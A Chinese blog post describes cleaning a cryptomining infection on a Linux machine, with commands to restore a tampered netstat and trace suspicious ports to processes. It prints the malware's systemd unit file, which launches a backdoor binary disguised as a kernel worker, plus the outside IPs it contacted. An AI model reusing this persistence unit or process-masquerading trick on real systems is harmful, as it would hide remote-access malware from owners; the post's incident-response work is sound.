挖矿病毒分析3
说明
又中病毒了,这次有了新工具,解决很快的。
步骤
先找出来
因为都有国外的端口链接的,所以端口就是突破口,但是病毒会污染工具程序,解决污染之后,再使用witr命令直接定位病毒进程,即使病毒源文件已经不存在了,只留了一个进程。
看之前写的。
https://www.cnblogs.com/allalonewithyou/p/19502202
总结到这儿,快速复制。
# 查看是否修改应用文件属性
yangx@u20:~/myfile$ lsattr /bin/netstat
----i---------e----- /bin/netstat
yangx@u20:~/myfile$ sudo chattr -i /bin/netstat
yangx@u20:~/myfile$ lsattr /bin/netstat
--------------e----- /bin/netstat
# 重新安装
sudo apt install --reinstall net-tools
# 检查异常IP,找到病毒的端口占用
netstat -antlp
# 查看那个port的进程具体信息
sudo witr --port <port>
witr工具安装:
https://www.cnblogs.com/allalonewithyou/p/22614446
找到的病毒进程:
yangx@u20:~$ sudo witr --port 57132
Target : gs-dbus
Process : gs-dbus (pid 3413924)
User : root
Service : gs-dbus.service
Command : [kcached]
Started : 23 days ago (Thu 2026-09-17 04:49:16 +08:00)
Why It Exists :
systemd (pid 1) → gs-dbus (pid 3413924)
Source : gs-dbus.service (systemd)
Description : D-Bus System Connection Bus
Unit File : /lib/systemd/system/gs-dbus.service
Working Dir : /root
Sockets : 192.168.1.12:57132 → 51.91.190.242:67 (TCP | SYN_SENT)
Warnings :
• Process is running as root
yangx@u20:~$
yangx@u20:~$
yangx@u20:~$
yangx@u20:~$ sudo witr --port 46168
Target : sshd
Process : sshd (pid 1917)
User : root
Service : systemd-udev-sessions.service
Command : [kworker/88:9]
Started : 123 days ago (Tue 2026-06-09 09:18:38 +08:00)
Why It Exists :
systemd (pid 1) → sshd (pid 1917)
Source : systemd-udev-sessions.service (systemd)
Description : D-Bus System Connection Bus
Unit File : /etc/systemd/system/systemd-udev-sessions.service
Working Dir : /root
Sockets : 192.168.1.12:46168 → 51.75.68.83:22 (TCP | SYN_SENT)
Warnings :
• Process is running as root
• Process has been running for over 90 days
• Service name and process name do not match
yangx@u20:~$
yangx@u20:~$ cat /etc/systemd/system/systemd-udev-sessions.service
[Unit]
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=no
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'"
[Install]
WantedBy=multi-user.target
本文来自博客园,作者:杨旭0324,转载请注明原文链接:https://www.cnblogs.com/allalonewithyou/p/23310924,个人邮箱:yaonie4444@foxmail.com

浙公网安备 33010602011771号